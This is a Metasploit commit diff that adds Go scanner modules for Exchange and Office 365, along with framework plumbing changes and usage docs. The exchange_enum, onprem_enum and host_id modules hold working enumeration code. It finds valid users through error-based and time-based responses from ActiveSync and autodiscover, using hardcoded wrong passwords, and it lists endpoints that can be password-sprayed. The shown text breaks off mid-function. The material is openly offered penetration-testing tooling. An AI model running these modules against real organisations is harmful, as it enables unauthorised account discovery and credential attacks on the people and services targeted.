Land #10964, add initial golang modules for enumerating owa/o365
commit
55a9a12670
|
@ -0,0 +1,21 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate email.
|
||||
|
||||
Error-based user enumeration for Office 365 integrated email addresses
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/exchange_enum`
|
||||
- `set (`EMAIL` or `EMAIL_FILE`)`
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
<ip> <ip> 443/tcp (owa) chris@somecompany.com
|
||||
```
|
|
@ -0,0 +1,42 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
**Identify Command**
|
||||
- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
|
||||
- Queries for specific DNS records related to Office 365 integration
|
||||
- Attempts to extract internal domain name for onprem instance of Exchange
|
||||
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
|
||||
- Lists password-sprayable services exposed for onprem Exchange host
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/host_id`
|
||||
- `set RHOSTS <target>`
|
||||
- `run`
|
||||
|
||||
*Results should look like below:*
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/msmail/host_id
|
||||
msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS <host>
|
||||
RHOSTS => <host>
|
||||
msf5 auxiliary(scanner/msmail/host_id) > run
|
||||
|
||||
[*] Running for <ip>...
|
||||
[*] Attempting to harvest internal domain:
|
||||
[*] Internal Domain:
|
||||
[*] <domain>
|
||||
[*] [-] Domain is not using o365 resources.
|
||||
[*] Identifying endpoints vulnerable to time-based enumeration:
|
||||
[*] [+] https://<host>/Microsoft-Server-ActiveSync
|
||||
[*] [+] https://<host>/autodiscover/autodiscover.xml
|
||||
[*] [+] https://<host>/owa
|
||||
[*] Identifying exposed Exchange endpoints for potential spraying:
|
||||
[*] [+] https://<host>/oab
|
||||
[*] [+] https://<host>/ews
|
||||
|
||||
```
|
|
@ -0,0 +1,25 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
- Error-based user enumeration for on premise Exchange services
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/onprem_enum`
|
||||
- `set RHOSTS <target>`
|
||||
- `set (`USER` or `USER_FILE`)
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa)
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa) chris
|
||||
```
|
|
@ -119,8 +119,44 @@ module Msf::Module::External
|
|||
})
|
||||
|
||||
invalidate_login(**cred)
|
||||
|
||||
when 'credential_login'
|
||||
handle_credential_login(data, mod)
|
||||
else
|
||||
print_warning "Skipping unrecognized report type #{m.params['type']}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handles login report that does not necessarily need to include a password
|
||||
#
|
||||
def handle_credential_login(data, mod)
|
||||
# Required
|
||||
service_data = {
|
||||
address: data['address'],
|
||||
port: data['port'],
|
||||
protocol: data['protocol'],
|
||||
service_name: data['service_name'],
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Optional
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
username: data['username']
|
||||
}.merge(service_data)
|
||||
|
||||
if data.has_key?(:password)
|
||||
credential_data[:private_data] = data['password']
|
||||
credential_data[:private_type] = :password
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
}.merge(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
|
|
@ -142,7 +142,7 @@ module Msf::Modules
|
|||
elsif Process.kill('TERM', self.wait_thread.pid) && self.wait_thread.join(10)
|
||||
self.exit_status = self.wait_thread.value
|
||||
else
|
||||
Procoess.kill('KILL', self.wait_thread.pid)
|
||||
Process.kill('KILL', self.wait_thread.pid)
|
||||
self.exit_status = self.wait_thread.value
|
||||
end
|
||||
end
|
||||
|
@ -197,8 +197,19 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge
|
|||
|
||||
def initialize(module_path, framework: nil)
|
||||
super
|
||||
gopath = ENV['GOPATH'] || ''
|
||||
self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath})
|
||||
default_go_path = ENV['GOPATH'] || ''
|
||||
shared_module_lib_path = File.dirname(module_path) + "/shared"
|
||||
go_path = File.expand_path('../go', __FILE__)
|
||||
|
||||
if File.exist?(default_go_path)
|
||||
go_path = go_path + File::PATH_SEPARATOR + default_go_path
|
||||
end
|
||||
|
||||
if File.exist?(shared_module_lib_path)
|
||||
go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path
|
||||
end
|
||||
|
||||
self.env = self.env.merge({'GOPATH' => go_path})
|
||||
self.cmd = ['go', 'run', self.path]
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,195 +0,0 @@
|
|||
package metasploit
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type response struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
}
|
||||
|
||||
func rpcSend(res interface{}) error {
|
||||
resStr, err := json.Marshal(res)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f := bufio.NewWriter(os.Stdout)
|
||||
if _, err := f.Write(resStr); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := f.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
type (
|
||||
logparams struct {
|
||||
Level string `json:"level"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
logRequest struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
Params logparams `json:"params"`
|
||||
}
|
||||
)
|
||||
|
||||
func Log(message string, level string) {
|
||||
req := &logRequest{"2.0", "message", logparams{level, message}}
|
||||
if err := rpcSend(req); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
type (
|
||||
reportparams struct {
|
||||
Type string `json:"type"`
|
||||
Data map[string]string `json:"data"`
|
||||
}
|
||||
|
||||
reportRequest struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
Params reportparams `json:"params"`
|
||||
}
|
||||
)
|
||||
|
||||
func report(kind string, base map[string]string, opts map[string]string) error {
|
||||
for k, v := range base {
|
||||
opts[k] = v
|
||||
}
|
||||
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
|
||||
return rpcSend(req)
|
||||
}
|
||||
|
||||
func ReportHost(ip string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip}
|
||||
if err := report("host", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportService(ip string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip}
|
||||
if err := report("service", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportVuln(ip string, name string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip, "name": name}
|
||||
if err := report("vuln", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportCorrectPassword(username string, password string, opts map[string]string) {
|
||||
base := map[string]string{"username": username, "password": password}
|
||||
if err := report("correct_password", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportWrongPassword(username string, password string, opts map[string]string) {
|
||||
base := map[string]string{"username": username, "password": password}
|
||||
if err := report("wrong_password", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
type (
|
||||
Reference struct {
|
||||
Type string `json:"type"`
|
||||
Ref string `json:"ref"`
|
||||
}
|
||||
|
||||
Target struct {
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
}
|
||||
|
||||
Option struct {
|
||||
Type string `json:"type"`
|
||||
Description string `json:"description"`
|
||||
Required bool `json:"required"`
|
||||
Default string `json:"default"`
|
||||
}
|
||||
|
||||
Metadata struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Authors []string `json:"authors"`
|
||||
Date string `json:"date"`
|
||||
References []Reference `json:"references"`
|
||||
Type string `json:"type"`
|
||||
Rank string `json:"rank"`
|
||||
WFSDelay int `json:"wfsdelay"`
|
||||
Privileged bool `json:"privileged"`
|
||||
Targets []Target `json:"targets,omitempty"`
|
||||
Capabilities []string `json:"capabilities"`
|
||||
Payload map[string]string `json:"payload,omitempty"`
|
||||
Options map[string]Option `json:"options,omitempty"`
|
||||
Notes map[string][]string `json:"notes,omitempty"`
|
||||
}
|
||||
|
||||
Request struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
ID string `json:"id"`
|
||||
}
|
||||
|
||||
MetadataResponse struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
Result *Metadata `json:"result"`
|
||||
}
|
||||
|
||||
RunResult struct {
|
||||
Message string `json:"message"`
|
||||
Return string `json:"return"`
|
||||
}
|
||||
|
||||
RunResponse struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
Result RunResult `json:"result"`
|
||||
}
|
||||
)
|
||||
|
||||
// RunCallback represents the exploit method to call from the module
|
||||
type RunCallback func(req *Request) string
|
||||
|
||||
// Run runs the exploit
|
||||
func Run(metadata *Metadata, callback RunCallback) {
|
||||
var req Request
|
||||
|
||||
err := json.NewDecoder(os.Stdin).Decode(&req)
|
||||
if err != nil {
|
||||
log.Fatalf("could not decode JSON: %v", err)
|
||||
}
|
||||
|
||||
switch strings.ToLower(req.Method) {
|
||||
case "describe":
|
||||
metadata.Capabilities = []string{"run"}
|
||||
res := &MetadataResponse{"2.0", req.ID, metadata}
|
||||
if err := rpcSend(res); err != nil {
|
||||
log.Fatalf("error on running %s: %v", req.Method, err)
|
||||
}
|
||||
case "run":
|
||||
ret := callback(&req)
|
||||
res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ret}}
|
||||
if err := rpcSend(res); err != nil {
|
||||
log.Fatalf("error on running %s: %v", req.Method, err)
|
||||
}
|
||||
default:
|
||||
log.Fatalf("method %s not implemented yet", req.Method)
|
||||
}
|
||||
}
|
|
@ -0,0 +1,156 @@
|
|||
/*
|
||||
* Defines core functionality for a GOLANG module
|
||||
*/
|
||||
|
||||
package module
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"errors"
|
||||
)
|
||||
|
||||
/*
|
||||
* RunCallback represents the method to call from the module
|
||||
*/
|
||||
type RunCallback func(params map[string]interface{})
|
||||
|
||||
/*
|
||||
* Initializes the module waiting for input from stdin
|
||||
*/
|
||||
func Init(metadata *Metadata, callback RunCallback) {
|
||||
var req Request
|
||||
|
||||
err := json.NewDecoder(os.Stdin).Decode(&req)
|
||||
if err != nil {
|
||||
log.Fatalf("could not decode JSON: %v", err)
|
||||
}
|
||||
|
||||
switch strings.ToLower(req.Method) {
|
||||
case "describe":
|
||||
metadata.Capabilities = []string{"run"}
|
||||
res := &MetadataResponse{"2.0", req.ID, metadata}
|
||||
if err := rpcSend(res); err != nil {
|
||||
log.Fatalf("error on running %s: %v", req.Method, err)
|
||||
}
|
||||
case "run":
|
||||
params, e := parseParams(req.Parameters)
|
||||
if e != nil {
|
||||
log.Fatal(e)
|
||||
}
|
||||
callback(params)
|
||||
res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ""}}
|
||||
if err := rpcSend(res); err != nil {
|
||||
log.Fatalf("error on running %s: %v", req.Method, err)
|
||||
}
|
||||
default:
|
||||
log.Fatalf("method %s not implemented yet", req.Method)
|
||||
}
|
||||
}
|
||||
|
||||
type (
|
||||
Request struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
ID string `json:"id"`
|
||||
Parameters interface{} `json:"params"`
|
||||
}
|
||||
|
||||
MetadataResponse struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
Result *Metadata `json:"result"`
|
||||
}
|
||||
|
||||
RunResult struct {
|
||||
Message string `json:"message"`
|
||||
Return string `json:"return"`
|
||||
}
|
||||
|
||||
RunResponse struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
Result RunResult `json:"result"`
|
||||
}
|
||||
|
||||
Parameters struct {
|
||||
Type string `json:"type"`
|
||||
Description string `json:"description"`
|
||||
Required bool `json:"required"`
|
||||
Default interface{} `json:"default"`
|
||||
}
|
||||
)
|
||||
|
||||
type response struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
ID string `json:"id"`
|
||||
}
|
||||
|
||||
func parseParams(passedParams interface{}) (map[string]interface{}, error) {
|
||||
v, ok := passedParams.(map[string]interface{})
|
||||
if !ok {
|
||||
return nil, errors.New("cannot parse values")
|
||||
}
|
||||
|
||||
return v, nil
|
||||
}
|
||||
|
||||
func rpcSend(res interface{}) error {
|
||||
resStr, err := json.Marshal(res)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f := bufio.NewWriter(os.Stdout)
|
||||
if _, err := f.Write(resStr); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := f.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
type (
|
||||
logparams struct {
|
||||
Level string `json:"level"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
logRequest struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
Params logparams `json:"params"`
|
||||
}
|
||||
)
|
||||
|
||||
func LogInfo(message string) {
|
||||
msfLog(message, "info")
|
||||
}
|
||||
|
||||
func LogError(message string) {
|
||||
msfLog(message, "error")
|
||||
}
|
||||
|
||||
func msfLog(message string, level string) {
|
||||
req := &logRequest{"2.0", "message", logparams{level, message}}
|
||||
if err := rpcSend(req); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
type (
|
||||
reportparams struct {
|
||||
Type string `json:"type"`
|
||||
Data map[string]string `json:"data"`
|
||||
}
|
||||
|
||||
reportRequest struct {
|
||||
Jsonrpc string `json:"jsonrpc"`
|
||||
Method string `json:"method"`
|
||||
Params reportparams `json:"params"`
|
||||
}
|
||||
)
|
|
@ -0,0 +1,41 @@
|
|||
/*
|
||||
* Module metadata definition
|
||||
*/
|
||||
|
||||
package module
|
||||
|
||||
type (
|
||||
Reference struct {
|
||||
Type string `json:"type"`
|
||||
Ref string `json:"ref"`
|
||||
}
|
||||
|
||||
Target struct {
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
}
|
||||
|
||||
Option struct {
|
||||
Type string `json:"type"`
|
||||
Description string `json:"description"`
|
||||
Required bool `json:"required"`
|
||||
Default string `json:"default"`
|
||||
}
|
||||
|
||||
Metadata struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Authors []string `json:"authors"`
|
||||
Date string `json:"date"`
|
||||
References []Reference `json:"references"`
|
||||
Type string `json:"type"`
|
||||
Rank string `json:"rank"`
|
||||
WFSDelay int `json:"wfsdelay"`
|
||||
Privileged bool `json:"privileged"`
|
||||
Targets []Target `json:"targets,omitempty"`
|
||||
Capabilities []string `json:"capabilities"`
|
||||
Payload map[string]string `json:"payload,omitempty"`
|
||||
Options map[string]Option `json:"options,omitempty"`
|
||||
Notes map[string][]string `json:"notes,omitempty"`
|
||||
}
|
||||
)
|
|
@ -0,0 +1,57 @@
|
|||
/*
|
||||
* Defines functions that report data to the core framework
|
||||
*/
|
||||
|
||||
package module
|
||||
|
||||
import "log"
|
||||
|
||||
func ReportHost(ip string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip}
|
||||
if err := report("host", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportService(ip string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip}
|
||||
if err := report("service", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportVuln(ip string, name string, opts map[string]string) {
|
||||
base := map[string]string{"host": ip, "name": name}
|
||||
if err := report("vuln", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportCorrectPassword(username string, password string, opts map[string]string) {
|
||||
base := map[string]string{"username": username, "password": password}
|
||||
if err := report("correct_password", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportWrongPassword(username string, password string, opts map[string]string) {
|
||||
base := map[string]string{"username": username, "password": password}
|
||||
if err := report("wrong_password", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func ReportCredentialLogin(username string, password string, opts map[string]string) {
|
||||
base := map[string]string{"username": username, "password": password}
|
||||
if err := report("credential_login", base, opts); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func report(kind string, base map[string]string, opts map[string]string) error {
|
||||
for k, v := range base {
|
||||
opts[k] = v
|
||||
}
|
||||
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
|
||||
return rpcSend(req)
|
||||
}
|
|
@ -45,6 +45,11 @@ class Msf::Modules::External::Shim
|
|||
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
||||
meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license']
|
||||
|
||||
# Set modules without options to have an empty map
|
||||
if mod.meta['options'].nil?
|
||||
mod.meta['options'] = {}
|
||||
end
|
||||
|
||||
options = mod.meta['options'].reject {|n, _| ignore_options.include? n}
|
||||
|
||||
meta[:options] = options.map do |n, o|
|
||||
|
|
|
@ -0,0 +1,117 @@
|
|||
//usr/bin/env go run "$0" "$@"; exit "$?"
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"metasploit/module"
|
||||
"msmail"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
metadata := &module.Metadata{
|
||||
Name: "Exchange email enumeration",
|
||||
Description: "Error-based user enumeration for Office 365 integrated email addresses",
|
||||
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
|
||||
Date: "2018-11-06",
|
||||
Type: "single_scanner",
|
||||
Privileged: false,
|
||||
References: []module.Reference{},
|
||||
Options: map[string]module.Option{
|
||||
"RHOSTS": {Type: "string", Description: "Target endpoint", Required: true, Default: "outlook.office365.com"},
|
||||
"EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""},
|
||||
"EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""},
|
||||
}}
|
||||
|
||||
module.Init(metadata, run_exchange_enum)
|
||||
}
|
||||
|
||||
func run_exchange_enum(params map[string]interface{}) {
|
||||
email := params["EMAIL"].(string)
|
||||
emailFile := params["EMAIL_FILE"].(string)
|
||||
threads, e := strconv.Atoi(params["THREADS"].(string))
|
||||
ip := params["rhost"].(string)
|
||||
|
||||
if e != nil {
|
||||
module.LogError("Unable to parse 'Threads' value using default (5)")
|
||||
threads = 5
|
||||
}
|
||||
|
||||
if threads > 100 {
|
||||
module.LogInfo("Threads value too large, setting max(100)")
|
||||
threads = 100
|
||||
}
|
||||
|
||||
if email == "" && emailFile == "" {
|
||||
module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated")
|
||||
return
|
||||
}
|
||||
|
||||
var validUsers []string
|
||||
if email != "" {
|
||||
validUsers = o365enum(ip, []string{email}, threads)
|
||||
}
|
||||
|
||||
if emailFile != "" {
|
||||
validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads)
|
||||
}
|
||||
|
||||
msmail.ReportValidUsers(ip, validUsers)
|
||||
}
|
||||
|
||||
func o365enum(ip string, emaillist []string, threads int) []string {
|
||||
limit := threads
|
||||
var wg sync.WaitGroup
|
||||
mux := &sync.Mutex{}
|
||||
queue := make(chan string)
|
||||
//limit := 100
|
||||
|
||||
/*Keep in mind you, nothing has been added to handle successful auths
|
||||
so the password for auth attempts has been hardcoded to something
|
||||
that is not likely to be correct.
|
||||
*/
|
||||
pass := "Summer2018876"
|
||||
URI := "https://" + ip + "/Microsoft-Server-ActiveSync"
|
||||
var validemails []string
|
||||
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
|
||||
for i := 0; i < limit; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
for email := range queue {
|
||||
responseCode := msmail.WebRequestBasicAuth(URI, email, pass, tr)
|
||||
if strings.Contains(email, "@") && responseCode == 401 {
|
||||
mux.Lock()
|
||||
module.LogInfo("[+] " + email + " - 401")
|
||||
validemails = append(validemails, email)
|
||||
mux.Unlock()
|
||||
} else if strings.Contains(email, "@") && responseCode == 404 {
|
||||
mux.Lock()
|
||||
module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode))
|
||||
mux.Unlock()
|
||||
} else {
|
||||
mux.Lock()
|
||||
module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode))
|
||||
mux.Unlock()
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
for i := 0; i < len(emaillist); i++ {
|
||||
queue <- emaillist[i]
|
||||
}
|
||||
|
||||
close(queue)
|
||||
wg.Wait()
|
||||
return validemails
|
||||
}
|
|
@ -0,0 +1,92 @@
|
|||
//usr/bin/env go run "$0" "$@"; exit "$?"
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"metasploit/module"
|
||||
"msmail"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
metadata := &module.Metadata{
|
||||
Name: "Vulnerable domain identification",
|
||||
Description: "Identifying potentially vulnerable Exchange endpoints",
|
||||
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
|
||||
Date: "2018-11-06",
|
||||
Type: "single_scanner",
|
||||
Privileged: false,
|
||||
References: []module.Reference{},
|
||||
Options: map[string]module.Option{},
|
||||
}
|
||||
|
||||
module.Init(metadata, run_id)
|
||||
}
|
||||
|
||||
func run_id(params map[string]interface{}) {
|
||||
host := params["RHOSTS"].(string)
|
||||
msmail.HarvestInternalDomain(host, true)
|
||||
urlEnum(host)
|
||||
}
|
||||
|
||||
func urlEnum(hostInput string) {
|
||||
hostSlice := strings.Split(hostInput, ".")
|
||||
o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com"
|
||||
addr, err := net.LookupIP(o365Domain)
|
||||
if err != nil {
|
||||
module.LogInfo("[-] Domain is not using o365 resources.")
|
||||
} else if addr == nil {
|
||||
module.LogError("error")
|
||||
} else {
|
||||
module.LogInfo("[+] Domain is using o365 resources.")
|
||||
}
|
||||
asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync"
|
||||
adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml"
|
||||
ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml"
|
||||
owaURI := "https://" + hostInput + "/owa"
|
||||
timeEndpointsIdentified := false
|
||||
module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:")
|
||||
timeEndpoints := []string{asURI, adURI, ad2URI, owaURI}
|
||||
for _, uri := range timeEndpoints {
|
||||
responseCode := msmail.WebRequestCodeResponse(uri)
|
||||
if responseCode == 401 {
|
||||
module.LogInfo("[+] " + uri)
|
||||
timeEndpointsIdentified = true
|
||||
}
|
||||
if responseCode == 200 {
|
||||
module.LogInfo("[+] " + uri)
|
||||
timeEndpointsIdentified = true
|
||||
}
|
||||
}
|
||||
if timeEndpointsIdentified == false {
|
||||
module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.")
|
||||
}
|
||||
module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:")
|
||||
passEndpointIdentified := false
|
||||
rpcURI := "https://" + hostInput + "/rpc"
|
||||
oabURI := "https://" + hostInput + "/oab"
|
||||
ewsURI := "https://" + hostInput + "/ews"
|
||||
mapiURI := "https://" + hostInput + "/mapi"
|
||||
|
||||
passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI}
|
||||
for _, uri := range passEndpoints401 {
|
||||
responseCode := msmail.WebRequestCodeResponse(uri)
|
||||
if responseCode == 401 {
|
||||
module.LogInfo("[+] " + uri)
|
||||
passEndpointIdentified = true
|
||||
}
|
||||
}
|
||||
ecpURI := "https://" + hostInput + "/ecp"
|
||||
endpoints200 := []string{ecpURI, owaURI}
|
||||
for _, uri := range endpoints200 {
|
||||
responseCode := msmail.WebRequestCodeResponse(uri)
|
||||
if responseCode == 200 {
|
||||
module.LogInfo("[+] " + uri)
|
||||
passEndpointIdentified = true
|
||||
}
|
||||
}
|
||||
if passEndpointIdentified == false {
|
||||
module.LogInfo("No onprem Exchange services identified.")
|
||||
}
|
||||
}
|
|
@ -0,0 +1,183 @@
|
|||
//usr/bin/env go run "$0" "$@"; exit "$?"
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"metasploit/module"
|
||||
"msmail"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
metadata := &module.Metadata{
|
||||
Name: "On premise user enumeration",
|
||||
Description: "On premise enumeration of valid exchange users",
|
||||
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
|
||||
Date: "2018-11-06",
|
||||
Type: "single_scanner",
|
||||
Privileged: false,
|
||||
References: []module.Reference{},
|
||||
Options: map[string]module.Option{
|
||||
"USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
|
||||
"USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
|
||||
}}
|
||||
|
||||
module.Init(metadata, run_onprem_enum)
|
||||
}
|
||||
|
||||
func run_onprem_enum(params map[string]interface{}) {
|
||||
userFile := params["USER_FILE"].(string)
|
||||
userName := params["USERNAME"].(string)
|
||||
host := params["rhost"].(string)
|
||||
threads, e := strconv.Atoi(params["THREADS"].(string))
|
||||
if e != nil {
|
||||
module.LogError("Unable to parse 'Threads' value using default (5)")
|
||||
threads = 5
|
||||
}
|
||||
|
||||
if threads > 100 {
|
||||
module.LogInfo("Threads value too large, setting max(100)")
|
||||
threads = 100
|
||||
}
|
||||
|
||||
if userFile == "" && userName == "" {
|
||||
module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
|
||||
return
|
||||
}
|
||||
|
||||
var validUsers []string
|
||||
avgResponse := basicAuthAvgTime(host)
|
||||
if userFile != "" {
|
||||
validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
|
||||
} else {
|
||||
validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
|
||||
}
|
||||
|
||||
msmail.ReportValidUsers(host, validUsers)
|
||||
}
|
||||
|
||||
func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
|
||||
limit := threads
|
||||
var wg sync.WaitGroup
|
||||
mux := &sync.Mutex{}
|
||||
queue := make(chan string)
|
||||
|
||||
/*Keep in mind you, nothing has been added to handle successful auths
|
||||
so the password for auth attempts has been hardcoded to something
|
||||
that is not likely to be correct.
|
||||
*/
|
||||
pass := "Summer2018978"
|
||||
internaldomain := msmail.HarvestInternalDomain(host, false)
|
||||
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
|
||||
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
|
||||
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
|
||||
var urlToHarvest string
|
||||
if msmail.WebRequestCodeResponse(url1) == 401 {
|
||||
urlToHarvest = url1
|
||||
